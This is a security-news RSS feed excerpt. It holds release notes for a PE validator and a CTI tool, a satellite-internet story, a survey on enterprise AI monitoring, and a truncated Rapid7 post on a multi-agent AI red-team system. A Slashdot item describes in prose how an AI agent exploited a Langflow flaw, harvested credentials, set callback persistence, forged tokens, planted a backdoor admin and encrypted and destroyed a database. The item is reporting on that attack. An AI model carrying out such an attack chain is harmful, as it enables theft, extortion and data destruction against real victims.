release:</strong></p><p><a href="https://github.com/anpa1200/adversarygraph/releases/tag/v5.0.0">Release AdversaryGraph v5.0.0 · anpa1200/adversarygraph</a></p><h3>Final Thoughts</h3><p>AdversaryGraph v5.0 is a step toward a more complete CTI-to-detection workflow.</p><p>The platform is still built around a simple idea: intelligence should not end as a static report. It should become a mapped, enriched, validated, and explainable defensive workflow.</p><p>With Attack Simulation, SIEM forwarding, real lab telemetry, AI-assisted scenario generation, and attack-chain explanation, v5.0 moves AdversaryGraph closer to that goal.</p><p>The next challenge is to continue improving realism: more telemetry sources, more lab targets, better parser validation, stronger scenario libraries, and deeper connections between malware analysis, asset exposure, and detection engineering.</p><p>If you work in CTI, SOC operations, detection engineering, malware analysis, or purple-team validation, I would be glad to hear feedback.</p><p>Project:</p><p><a href="https://github.com/anpa1200/adversarygraph">https://github.com/anpa1200/adversarygraph</a></p><p>Documentation:</p><p><a href="https://1200km.com/adversarygraph-docs/">https://1200km.com/adversarygraph-docs/</a></p><p>Live workspace:</p><p><a href="https://1200km.com/threat-matrix/">AdversaryGraph Web - Public ATT&amp;CK Workspace for AdversaryGraph | 1200km</a></p><p>Main page:</p><p><a href="https://1200km.com/">Andrey Pautov - CTI &amp; Detection Engineering</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=21873b2a6c39" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39">AdversaryGraph v5.0: From CTI Mapping to Attack Simulation and SIEM Validation</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[IOCX v0.7.5 - PE structural validator with 24 new reason codes for triage; format-level notes on delay-load and export ambiguities]]></title>
<description><![CDATA[Pushing a release of IOCX, an open-source PE structural validator (MPL-2.0), and posting format-level notes alongside it. Write-up (format ambiguities encountered during decoder work): PE structural validation: format ambiguities and decoder design The Gist catalogues four categories of PE specif...]]></description>
<link>https://tsecurity.de/de/3644632/malware-trojaner-viren/iocx-v075-pe-structural-validator-with-24-new-reason-codes-for-triage-format-level-notes-on-delay-load-and-export-ambiguities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3644632/malware-trojaner-viren/iocx-v075-pe-structural-validator-with-24-new-reason-codes-for-triage-format-level-notes-on-delay-load-and-export-ambiguities/</guid>
<pubDate>Sat, 04 Jul 2026 04:02:53 +0200</pubDate>
<category>⚠️ Malware / Trojaner / Viren</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Pushing a release of IOCX, an open-source PE structural validator (MPL-2.0), and posting format-level notes alongside it.</p> <p><strong>Write-up (format ambiguities encountered during decoder work):</strong> <a href="https://gist.github.com/malx-labs/ce30872e5db790f25c964b4027b2b7ee">PE structural validation: format ambiguities and decoder design</a></p> <p>The Gist catalogues four categories of PE specification ambiguity in delay-load imports, exports, VS_VERSIONINFO, and resource hierarchy. Structured as: format description grounded in the spec --&gt; the ambiguity --&gt; what IOCX chose to do. There are no unverified claims about how other parsers behave, but the cross-tool measurement is queued as follow-up work.</p> <p><strong>IOCX v0.7.5 additions relevant to triage:</strong></p> <p>There are four new structural validators covering the export table, delay-load import table, VS_VERSIONINFO resource, and resource directory hierarchy, and 24 new reason codes with priority-resolved sub-reasons via <code>details["reason"]</code> for finer-grained categorisation.</p> <p>Delay-load imports (8 codes):</p> <ul> <li><code>DELAY_IMPORT_DIRECTORY_INVALID_HEADER</code> / <code>_OUT_OF_BOUNDS</code></li> <li><code>DELAY_IMPORT_TABLE_TRUNCATED</code> (per-table sub-tags: descriptor unterminated, truncated, max exceeded, INT/IAT read failed)</li> <li><code>DELAY_IMPORT_DESCRIPTOR_INVALID</code></li> <li><code>DELAY_IMPORT_DLL_NAME_INVALID</code> (sub-reasons: rva_zero, unterminated, non_ascii, not_printable, read_failed)</li> <li><code>DELAY_IMPORT_INT_IAT_MISMATCH</code> : parallel-array length disagreement</li> <li><code>DELAY_IMPORT_ATTRIBUTES_LEGACY_VA_MODE</code> : v0 (pre-Win2000) mode detected</li> <li><code>DELAY_IMPORT_ENTRY_INVALID</code> (sub-reasons: ordinal_zero, name_unterminated, name_not_printable, etc.)</li> </ul> <p>Exports (10 codes):</p> <ul> <li><code>EXPORT_DIRECTORY_INVALID_HEADER</code> / <code>_OUT_OF_BOUNDS</code></li> <li><code>EXPORT_TABLE_TRUNCATED</code></li> <li><code>EXPORT_NAME_RVA_INVALID</code> / <code>_NOT_ASCII</code> / <code>_POINTER_TABLE_UNSORTED</code> / <code>_ORDINAL_INDEX_INVALID</code></li> <li><code>EXPORT_ORDINAL_OUT_OF_RANGE</code></li> <li><code>EXPORT_FUNCTION_RVA_INVALID</code></li> <li><code>EXPORT_FORWARDER_MALFORMED</code> : grammar violation of <code>DllName.SymbolName</code> or <code>DllName.#Ordinal</code></li> </ul> <p>VS_VERSIONINFO (4 codes):</p> <ul> <li><code>RESOURCE_VERSIONINFO_INVALID_HEADER</code> : envelope, szKey, or wLength malformed</li> <li><code>RESOURCE_VERSIONINFO_INVALID_FIXEDINFO</code> : VS_FIXEDFILEINFO signature or struct version wrong</li> <li><code>RESOURCE_VERSIONINFO_INVALID_STRINGFILEINFO</code> : StringFileInfo or StringTable malformed</li> <li><code>RESOURCE_VERSIONINFO_INVALID_VARFILEINFO</code> : VarFileInfo or Translation array not DWORD-aligned</li> </ul> <p>Resource hierarchy (2 codes):</p> <ul> <li><code>RESOURCE_DIRECTORY_LANGUAGE_NOT_ID</code> : depth-2 entry uses name instead of LCID</li> <li><code>RESOURCE_DATA_AT_INVALID_DEPTH</code> : data leaf outside the Language layer</li> </ul> <p><strong>Public metadata additions relevant to triage:</strong></p> <ul> <li>Optional Header: <code>dll_characteristics_flags</code> (decoded flag list: DYNAMIC_BASE, NX_COMPAT, GUARD_CF, HIGH_ENTROPY_VA, etc.), <code>dll_characteristics_unknown_bits</code> (hex string for any bits outside known-flag mask), stack and heap sizing (reserve + commit, 64-bit on PE32+)</li> <li>Header: <code>subsystem_name</code> (decoded from IMAGE_SUBSYSTEM_*, e.g., "WINDOWS_CUI"), <code>machine_name</code> (from IMAGE_FILE_MACHINE_*, covers all 29 documented types)</li> <li>Resources: structured <code>ResourceEntry</code> per resource with type, name, language, language_name, codepage, size, entropy (rounded to 4 dp), rva, raw_offset, and per-entry errors (size_invalid, rva_invalid, data_out_of_bounds, raw_offset_invalid). Resources with unreadable data now emitted with error tombstones rather than silently dropped.</li> </ul> <p><strong>Design approach:</strong></p> <ul> <li>Parsers decode structures directly from bytes via <code>struct.unpack_from</code> rather than relying on pefile's lazy interpretation</li> <li>Parsers never raise on malformed input; sub-structure failures produce tombstone tags in <code>errors[]</code> and <code>truncations[]</code> lists</li> <li>Bounded reads throughout (descriptor arrays capped, string scans bounded)</li> <li>Validators emit priority-resolved sub-reasons; one issue per malformed entry per pathology class, deterministic across runs</li> </ul> <p><strong>Verification:</strong></p> <p>Delay-load parser cross-checked byte-exact against <code>dumpbin /imports</code> on <code>mspaint.exe</code>: 107 imports from gdiplus.dll with agreement on names, hints, IAT addresses, ordering, and bound state.</p> <p>1370 tests at 100% line and branch coverage on new modules.</p> <p>Performance: ~14ms typical PE analysis including heuristics, ~1ms on adversarial minimal PE.</p> <p><strong>Scope:</strong></p> <ul> <li>Structural validation, not behavioural or dynamic analysis</li> <li>Produces structured evidence via reason codes, not verdicts</li> <li>Complements pefile / LIEF-based tooling for structural inspection rather than replacing them for general PE parsing</li> </ul> <p><strong>Deferred:</strong></p> <ul> <li>TLS Directory parser and validator (next release)</li> <li>Single-anomaly fixtures for each new reason code (~25 planned, including negative controls)</li> <li>Cross-tool measurement study using the fixtures</li> </ul> <p><strong>Licence:</strong> MPL-2.0</p> <p><strong>Repo:</strong> <a href="https://github.com/iocx-dev/iocx">https://github.com/iocx-dev/iocx</a></p> <p><strong>CHANGELOG:</strong> <a href="https://github.com/iocx-dev/iocx/blob/main/CHANGELOG.md">https://github.com/iocx-dev/iocx/blob/main/CHANGELOG.md</a></p> <p><strong>Reason codes reference:</strong> <a href="https://github.com/iocx-dev/iocx/blob/main/docs/specs/reason-codes.md">https://github.com/iocx-dev/iocx/blob/main/docs/specs/reason-codes.md</a></p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/iocx_dev"> /u/iocx_dev </a> <br> <span><a href="https://www.reddit.com/r/MalwareAnalysis/comments/1umdsnl/iocx_v075_pe_structural_validator_with_24_new/">[link]</a></span>   <span><a href="https://www.reddit.com/r/MalwareAnalysis/comments/1umdsnl/iocx_v075_pe_structural_validator_with_24_new/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Amazon Has Enough Satellites To Launch Its Starlink Competitor]]></title>
<description><![CDATA[Amazon says its Leo satellite network now has enough spacecraft in orbit to begin limited commercial internet service, with 396 satellites providing "continuous service across initial latitudes." Early performance will likely be uneven, however, and well behind Starlink. "It'll be years before Am...]]></description>
<link>https://tsecurity.de/de/3642815/it-security-nachrichten/amazon-has-enough-satellites-to-launch-its-starlink-competitor/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3642815/it-security-nachrichten/amazon-has-enough-satellites-to-launch-its-starlink-competitor/</guid>
<pubDate>Fri, 03 Jul 2026 08:08:30 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Amazon says its Leo satellite network now has enough spacecraft in orbit to begin limited commercial internet service, with 396 satellites providing "continuous service across initial latitudes." Early performance will likely be uneven, however, and well behind Starlink. "It'll be years before Amazon can boast similar performance numbers as it continues to launch a planned 3,232 Leo satellites," reports The Verge. From the report: SpaceX went live with its "Better than nothing beta" back in 2020 when it had almost 900 satellites operating in low-Earth orbit. It initially served a narrow band of users in the upper US and Canada, who complained about frequent service interruptions and high sensitivity to obstructions, with speeds between 50Mbps and 150Mbps, and latency from 20ms to 40ms. By 2022, the service and coverage areas had already dramatically improved. [...]
 
SpaceX currently has over 10,000 Starlink satellites in operation, providing robust internet connectivity on land, sea, and air in over 160 countries. Performance varies by the dish, service level paid for, time of day, and location of the user, but we're now talking 200Mbps median download speeds, 10Mbps to 40Mbps uploads, and latency hovering around 25ms.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Amazon+Has+Enough+Satellites+To+Launch+Its+Starlink+Competitor%3A+https%3A%2F%2Ftech.slashdot.org%2Fstory%2F26%2F07%2F02%2F2149203%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Ftech.slashdot.org%2Fstory%2F26%2F07%2F02%2F2149203%2Famazon-has-enough-satellites-to-launch-its-starlink-competitor%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://tech.slashdot.org/story/26/07/02/2149203/amazon-has-enough-satellites-to-launch-its-starlink-competitor?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Enterprises lost Claude Fable 5 for a few weeks. New data shows two-thirds had already built their hedge]]></title>
<description><![CDATA[Two-thirds of enterprises have hedged their AI model strategy, and the past few weeks of controversy around Anthropic’s Claude Fable 5 model showed why that posture has gone mainstream. On June 12, a U.S. export-control order pulled Anthropic's Claude Fable 5 — the most capable model on the marke...]]></description>
<link>https://tsecurity.de/de/3642528/it-nachrichten/enterprises-lost-claude-fable-5-for-a-few-weeks-new-data-shows-two-thirds-had-already-built-their-hedge/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3642528/it-nachrichten/enterprises-lost-claude-fable-5-for-a-few-weeks-new-data-shows-two-thirds-had-already-built-their-hedge/</guid>
<pubDate>Fri, 03 Jul 2026 03:02:52 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Two-thirds of enterprises have hedged their AI model strategy, and the past few weeks of controversy around Anthropic’s Claude Fable 5 model showed why that posture has gone mainstream. </p><p>On June 12, a U.S. export-control order <a href="https://venturebeat.com/technology/anthropic-blocks-all-public-access-to-claude-fable-5-mythos-5-following-us-government-order-what-enterprises-should-do">pulled Anthropic's Claude Fable 5</a> — the most capable model on the market — offline for every customer, with no warning and no timeline. It returned this week <a href="https://venturebeat.com/technology/anthropic-is-bringing-back-claude-fable-5-globally-after-us-lifts-export-control-order-where-can-enterprises-access-it">wrapped in tighter safeguards</a>, after China's Z.ai <a href="https://venturebeat.com/technology/z-ais-open-weights-glm-5-2-beats-gpt-5-5-on-multiple-long-horizon-coding-benchmarks-for-1-6th-the-cost">released its open-weights GLM-5.2 into the vacuum</a>. New VentureBeat Pulse Research, which surveyed 145 enterprises across these last few weeks, shows that two-thirds had already hedged their model strategy before the order came down: 51% blend closed frontier models with open-weight models deployed on their own infrastructure, and another 16% are moving core workflows off closed APIs entirely. The remaining third was all-in on closed ecosystems when the lights went out.</p><p>The blackout put a spotlight on vendor dependency, by showing what happens when the model you rely on disappears. But vendor dependency is only the most visible piece of a deeper problem: Most enterprises lack the monitoring to know when an AI system they've put into production stops working correctly. </p><p>Just 1 in 10 enterprises has automated monitoring that would catch an AI model drifting, misbehaving, or failing in production. Roughly a quarter would learn of a production failure only when end users — internal or external — report it, or lack the visibility to detect it at all. And 79% of enterprise organizations have already taken a real financial or operational hit from autonomous agents — most often shadow AI, unauthorized agentic work run by enterprises' own employees on corporate credit cards, outside anyone's oversight.</p><p>We call this the “Control Gap,” or the distance between how aggressively enterprises are deploying AI and how little of it they can see, own, or govern. June’s blackout turned this into a live stress test.</p><p><b>About this data:</b> VentureBeat Pulse Research surveyed 145 qualified respondents at organizations with 100 or more employees in June 2026, with fielding spanning the Fable 5 blackout that began June 12. The sample is self-selected and directional: 41% work in technology/software, 20% are consultants or advisors, and the respondent base skews senior and technical — CIO/CTO/CISOs (18%), directors of engineering/IT (14%), enterprise architects (12%). More than half of the respondents were from companies with 10,000 employees or more. </p><p>While our sample is not huge, what you can trust more than the exact percentages is the pattern: Every question in the survey, independently, points the same way, with deployment running ahead of governance, visibility, and cost control.</p><p>The full methodology is in the <a href="https://venturebeat.com/resources/the-control-gap-enterprise-ai-organizations-have-an-ownership-problem-not-a-technology-problem-and-most-are-governing-it-by-hand">report</a>.</p><h2>How the Fable 5 export order rewrote enterprise AI risk </h2><p>Fable 5 launched June 9 to immediate acclaim — and sticker shock, at $10 per million input tokens and $50 per million output. Three days later, the U.S. government issued an emergency export-control directive barring access by foreign nationals. Anthropic, with no way to verify nationality in real time, suspended the model for everyone.  </p><p>Z.ai has continued to pick up momentum; on Wednesday it released <a href="https://venturebeat.com/technology/z-ai-launches-zcode-to-challenge-cursor-claude-code-and-github-copilot-in-ai-coding">an open agentic coding environment, called Zcode</a>. OpenAI, meanwhile, previewed its cutting-edge GPT-5.6 line on June 26. </p><p>Enterprises had already spent the spring learning what AI dependence costs in dollars. Uber <a href="https://www.forbes.com/sites/janakirammsv/2026/05/17/uber-burns-its-2026-ai-budget-in-four-months-on-claude-code/">burned through its entire 2026 AI coding budget in four months</a> after Claude Code adoption hit 84% of its roughly 5,000 engineers, Forbes reported. Microsoft <a href="https://www.theverge.com/tech/930447/microsoft-claude-code-discontinued-notepad">canceled most internal Claude Code licenses</a> in its Windows and Microsoft 365 division, steering engineers to its own tooling, according to The Verge. </p><p>June added the harder lesson: The model your workflows depend on can vanish overnight, by government order, through no decision of yours or your vendor's. And Chinese companies like <a href="https://venturebeat.com/infrastructure/how-deepseeks-radical-architecture-is-shattering-silicon-valleys-token-moat">DeepSeek were releasing hugely disruptive, powerful models</a>, driving down costs to a fraction of Western ones.</p><p>Brian Craig, senior director of architecture at Liberty IT, the Ireland-based engineering arm of Liberty Mutual, one of the world’s largest insurance companies, saw both lessons collide in real time. Craig is Irish, which meant the export order hit him directly as a foreign-national user. </p><p>Onstage at VentureBeat's AI Impact event in New York on June 24, mid-blackout, I asked him about it. "Fable arrived, and immediately you saw the sticker price of using it, and you went, 'Ooh, goodness, it better be really good,'" Craig said. "But luckily enough, we didn’t get to use it enough to get to fall in love with it." Then it was gone.</p><h2>The hedge was already built before the blackout hit</h2><p>Craig's company was built to route around exactly this kind of disruption. Liberty IT runs what it calls an AI backbone — roughly 50 components spanning security, governance, observability, and orchestration, each independently replaceable. </p><p>"You can't lock in right now in one vendor and even one framework," Craig told the room. "You need to keep being able to have the flexibility with that backbone to be able to hook into different models, different vendors, depending not so much on who's the flavor of the day, but on what you can feel confident about for the next six months."</p><p>The survey shows Craig has plenty of company. A 51% majority of enterprises run a hybrid posture — closed frontier models for general reasoning, open-weight models deployed locally for specialized execution — and 16% are making a hard pivot, moving core workflows onto open weights running on their own hybrid or private cloud. The 32% holding a closed commitment are candid about why: The operational overhead of self-hosting still outweighs the savings for them. After June, that calculus has a new variable in it.</p><p>Defection is now the active posture, and the target may surprise you. Asked which primary AI vendor they are most likely to downsize or phase out over the next 12 months, respondents named Microsoft first at 30% — most citing cutbacks to Copilot and Azure AI frameworks in favor of direct model access — ahead of the 28% who plan to trim no vendor at all. OpenAI drew 21%, largely on pricing volatility, with Anthropic at 15% and Google at 6%. No vendor faces an exodus. But loyalty by inertia has ended: Among these enterprises, actively cutting at least one provider is now more common than expanding across all of them.</p><h2>Just 1 in 10 enterprises would catch a failing production model automatically</h2><p>How would an enterprise know if one of its production AI models was drifting, behaving unsafely, or failing to complete tasks? We asked directly. Forty percent say they are very confident they would detect it. The question also asked what that confidence rests on, and respondents split into two camps: 30% rely on humans reviewing critical AI outputs, and just 10% — 14 of the 145 organizations — have automated monitoring and alerting running against production systems. The remaining respondents hold weaker positions still: 32% expect to catch most issues "eventually," 19% say they would likely hear about a failure from end users first, and 8% report no systematic visibility into production AI behavior at all.</p><p>That distinction matters because the two approaches are very different. Human review may seem like the gold standard, but it only reaches the outputs someone designates as important for such a review — and it happens at the pace humans can move at, with the inconsistency any manual process carries. Automated monitoring watches everything the system produces, continuously, and flags anomalies as they happen — for the same reason enterprises stopped depending on manual checks for uptime and security a decade ago. </p><p>As agentic workloads multiply output volumes far beyond what any review team can read, the manual approach starts to fall behind. The leaders at our June 24 event in New York treat human review as a designed control with automation underneath it. "Nothing gets deployed into production unless it's a human actually reviewing it and signing off," Craig said of Liberty's agentic software factory, where planning, coding, testing, critic, and librarian agents ship features from epic to production. </p><p>"It always has to be risk-based. That's why we work for an insurance company." Todd Johnson, the Morgan Stanley managing director who runs agentic AI across the bank's end-of-day P&amp;L controller process, described the same principle from finance: "One of our strong principles in our AI governance generally is that there always has to be human accountability, even if there's a degree of automation." VentureBeat covered Morgan Stanley's <a href="https://venturebeat.com/orchestration/morgan-stanley-cut-its-riskiest-reconciliation-job-in-half-by-making-its-agents-less-autonomous">new results around its P&amp;L resolution agent system separately</a>.</p><p>Liberty Mutual and Morgan Stanley chose manual sign-off deliberately, layered on top of observability, identity, and governance infrastructure. Whether the human-review camp has similar infrastructure underneath is more than a single-select question can establish. The 16% who separately named missing observability tooling as their biggest governance barrier are the ones saying outright that it hasn't been built.</p><h2>The top governance barrier is organizational: no single owner for AI across platforms</h2><p>Why does the AI visibility tooling never get built? The respondents' answers suggest it is an organizational shortcoming. The single most-cited barrier to governing AI across platforms is the absence of a single owner or accountable team, at 32%. Vendor opacity follows at 25%, missing tooling at 16% — and a lack of talent lands dead last at 5%. </p><p>The skills exist, but the organizational mandate does not: Only 38% say a central team actually governs AI behavior across their platforms today, 21% say ownership is unclear or actively contested between teams, and 17% say no role holds formal accountability at all.</p><p>The AI surface being governed makes the vacuum worse. Fully 85% of enterprises run two or more platforms each claiming to be the "primary" AI layer — ERP, ITSM, productivity suite, data platform, each with its own AI, its own controls, and its own assumptions. 36% describe an open contest between four or more. Just 8% have consolidated to one. Asked in a free-text question what one thing they would fix, respondents converged from different directions on the same answer: a single accountable owner, and a control plane that abstracts cost, drift, and model choice away from the end user.</p><h2>79% have already paid for an agent control failure — led by shadow AI </h2><p>The cost of the vacuum is showing up on corporate cards. </p><p>Asked to name the most severe financial or operational control failure they have experienced from autonomous agents, 49% of enterprises cite shadow AI — departmental teams running unauthorized agentic pipelines on corporate credit cards, bypassing central financial oversight entirely. Another 25% have been hit by an infinite-loop bill, an uncaught recursive workflow racking up thousands in token costs in a single incident, and 6% by an agent that degraded production databases with unthrottled queries. Only 21% report guarded stability, with hard token throttling and budget caps at the infrastructure layer. Add it up: 79% of these enterprises have already paid for an agent control failure in real money or real downtime.</p><p>Finally, the economics of tokens suggest the pressure will keep rising. Per-token inference costs are falling 70 to 80% a year, and agentic workloads consume 100 to 500 times the tokens of the LLM tools they replaced. </p><p>Brian Gracely, senior director of portfolio strategy at Red Hat, told our New York audience the answer starts with right-sizing: "If I'm simply trying to resolve an insurance claim, I don't need to know about the history of Western civilization in my model. I don't need to know soccer scores." </p><p>Enterprises are pairing smaller, specialized models with semantic routing, he said, so the platform decides which requests genuinely need frontier-scale reasoning — and which are burning premium tokens on commodity work. (One adjacent data point from the survey underlines the appetite for pragmatism: 73% of enterprises report little or nothing to show for their custom fine-tuning investments of the past 18 months — a reckoning we'll examine in its own report.)</p><h2>The bottom line: Replaceability is spreading faster than ownership</h2><p>The survey describes enterprises moving fast on AI with weak controls underneath. 58% are adding more AI initiatives than they retire. 85% run multiple platforms that each claim to be the primary AI layer. Three times as many enterprises rely on human review to catch a failing production model as have automated monitoring in place. And 79% have already paid for an agent control failure — most often unauthorized agent spending on corporate cards, outside IT's oversight.</p><p>On one problem, enterprises have clearly adapted: model dependency. Two-thirds hedge their model strategy, either running open-weight models alongside closed ones (51%) or moving core workflows off closed APIs entirely (16%). The Fable 5 shutdown showed the value of that position — the hedged companies could route around a model that a government order made unavailable overnight.</p><p>The remaining problems are internal, and no purchase fixes them: 32% name the lack of a single accountable owner as their top governance barrier, and 17% say no role holds formal accountability for AI at all. Assigning an owner costs nothing and requires no vendor. It still hasn't happened at most of these companies.</p><p>Our coming Q3 wave of research will measure whether June changed this — whether enterprises assigned owners and installed automated monitoring, or just added a second model and moved on.</p><p><b>Get the full Control Gap report </b><a href="https://venturebeat.com/resources/the-control-gap-enterprise-ai-organizations-have-an-ownership-problem-not-a-technology-problem-and-most-are-governing-it-by-hand"><b>here</b></a><b>.</b></p><p><i>The themes in this report — agent orchestration, governance, and cost control — are the agenda at VB Transform, VentureBeat's flagship event, July 14-15 at Hotel Nia in Menlo Park, with technical leaders from Visa, GM, Waymo, Intuit, Instacart, LangChain and others.</i><a href="https://venturebeat.com/vbtransform2026"><i> Details and registration here.</i></a></p><hr><p><i>Disclosure: VentureBeat's June 24 AI Impact event in New York was sponsored by Red Hat and Intel. Sponsors have no input into VentureBeat Pulse Research survey design, findings, or editorial coverage.</i></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI Agent Executes 'First' End-To-End Ransomware Attack]]></title>
<description><![CDATA[Sysdig says it has documented the first ransomware attack carried out end to end by an AI agent, which autonomously exploited exposed systems, stole credentials, established persistence, compromised a production database, and destroyed data. The research team named the attacker "JadePuffer" and s...]]></description>
<link>https://tsecurity.de/de/3642160/it-security-nachrichten/ai-agent-executes-first-end-to-end-ransomware-attack/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3642160/it-security-nachrichten/ai-agent-executes-first-end-to-end-ransomware-attack/</guid>
<pubDate>Thu, 02 Jul 2026 22:08:36 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Sysdig says it has documented the first ransomware attack carried out end to end by an AI agent, which autonomously exploited exposed systems, stole credentials, established persistence, compromised a production database, and destroyed data. The research team named the attacker "JadePuffer" and said it gained initial access to an internet-facing Langflow instance by exploiting CVE-2025-3248. "The most striking characteristic, however, was the LLM's behavior," Sysdig director of threat research Michael Clark said in a blog post. An anonymous reader quotes an excerpt from The Register: JadePuffer's "self-narrating" payloads "contained natural language reasoning, target prioritization, and the kind of detailed annotations that human operators don't often write but LLM-generated code produces reflexively," Clark added. "The operation also adapted in real time, retrying failed steps within refined parameters. In one sequence, it went from a failed login to a working fix in 31 seconds." After exploiting CVE-2025-3248, a missing authentication vulnerability in Langflow that allows remote, unauthenticated attackers to execute arbitrary Python on the host, the AI agent began scanning for and collecting secrets, including LLM provider API keys, cloud credentials "with explicit coverage of Chinese providers" including Alibaba, Aliyun, Tencent, and Huawei, while also scanning for AWS, Azure and Google Cloud Platform, cryptocurrency wallets, and database credentials.
 
The AI also installed a crontab entry on the Langflow server to maintain persistence and call back to the attacker's infrastructure every 30 minutes. JadePuffer's intended target was a separate internet-exposed production server running a MySQL database and an Alibaba Nacos configuration service, we're told. Nacos is an open-source service-discovery and dynamic configuration platform developed by Alibaba and used in the cloud provider's microservices applications. The agent connected to the server's exposed MySQL port using root credentials, although Sysdig doesn't know how the attacker obtained them. These credentials weren't stolen from the victim's environment.
 
JadePuffer then attacked Nacos via multiple vectors including an authorization bypass flaw (CVE-2021-29441) and forging a valid JSON web token (JWT) using Nacos's default signing key. Additionally, using its root database access, the LLM injected a backdoor administrator into the Nacos backing database. It ultimately encrypted all 1,342 Nacos service configuration items using MySQL's built-in AES encryption function, and created an extortion demand, ransom note, Bitcoin payment address, and a Proton Mail contact [...]. However, according to the threat hunters, the victim can't recover the encrypted data, even if they paid the ransom demand, because the agent escalated "from row-level deletion to dropping entire database schemas, narrating its own targeting rationale," without backing up any of the encrypted data.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=AI+Agent+Executes+'First'+End-To-End+Ransomware+Attack%3A+https%3A%2F%2Fit.slashdot.org%2Fstory%2F26%2F07%2F02%2F1849243%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fit.slashdot.org%2Fstory%2F26%2F07%2F02%2F1849243%2Fai-agent-executes-first-end-to-end-ransomware-attack%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://it.slashdot.org/story/26/07/02/1849243/ai-agent-executes-first-end-to-end-ransomware-attack?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Formalizing Red Teaming Offensive Methodology as a Multi-Agent AI Architecture]]></title>
<description><![CDATA[Threat actors are integrating AI into their exploit chains, accelerating reconnaissance, automating vulnerability discovery, and scaling social engineering in ways that compress the timeline between initial access and impact. The barrier to sophisticated offensive operations is dropping fast.Rapi...]]></description>
<link>https://tsecurity.de/de/3641499/it-security-nachrichten/formalizing-red-teaming-offensive-methodology-as-a-multi-agent-ai-architecture/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3641499/it-security-nachrichten/formalizing-red-teaming-offensive-methodology-as-a-multi-agent-ai-architecture/</guid>
<pubDate>Thu, 02 Jul 2026 16:38:18 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><span>Threat actors are integrating AI into their exploit chains, accelerating reconnaissance, automating vulnerability discovery, and scaling social engineering in ways that compress the timeline between initial access and impact. The barrier to sophisticated offensive operations is dropping fast.</span></p><p><span>Rapid7's Red Team is doing the same. Over the past year we formalized our approach into a structured multi-agent system that follows our penetration testing methodology end-to-end from scoping an engagement to validating findings to generating reports. We built it as a production system, not a proof of concept, and the process of designing and operating it taught us as much about defending against AI-enhanced attacks as it did about conducting them.</span></p><p><span>The system also proved its value as part of Anthropic's </span><a href="https://www.rapid7.com/blog/post/ai-rapid7-accesses-anthropics-project-glasswing-exploring-frontier-artificial-cybersecurity-intelligence/" target="_self"><span>Project Glasswing initiative</span></a><span>. Glasswing is a program that gives leading security companies early access to frontier cyber models before they reach wider availability, enabling security research that stays ahead of malicious adoption. We infused our red team architecture with Claude Mythos, applying it across penetration testing, vulnerability research, and red team operations. The combination of our formalized multi-agent architecture with a frontier-class model produced exceptional results in vulnerability analysis and exploit chain development. This validated both the architecture's design and the importance of getting these capabilities into defenders' hands first.</span></p><p><span>This post covers the architecture, the key design decisions, and what we learned along the way.</span></p><h2>Why Rapid7's Red Team built a multi-agent system</h2><p><span>Penetration testing is labor-intensive by nature as a significant portion of any engagement is spent on structured, repeatable work like enumerating attack surfaces, tracing data flows through source code, checking security headers, documenting findings in a consistent format. The actual judgement — deciding what to test next, assessing exploitability, understanding business impact — remains deeply human.</span></p><p><span>The opportunity was straightforward: offload the mechanical work to AI agents while maintaining human insight at decision points where it matters most. Those decision points are where engagements succeed or fail: scoping what's in and out of bounds, choosing which attack paths to pursue based on business context, assessing whether a vulnerability is genuinely exploitable in a given environment, deciding when a finding is significant enough to escalate, and interpreting results in ways that translate to actionable risks. None of that is mechanical, it requires experience, judgement, and context that models routinely get wrong. And as an internal security team, we don't just report vulnerabilities, we're accountable for coverage. If something ships with an exploitable flaw we missed, that's on us. The bar for confidence is high, and that's why humans stay in the loop at every point that matters.</span></p><p><span>We also had a secondary motivation. Building a system that follows a structured offensive methodology gives us direct architectural insight into how AI agents behave in adversarial contexts including the capabilities, the limitations, and the failure modes. That understanding now informs how we assess and secure Rapid7's own AI-powered products.</span></p><h2>The architecture: Orchestration, not 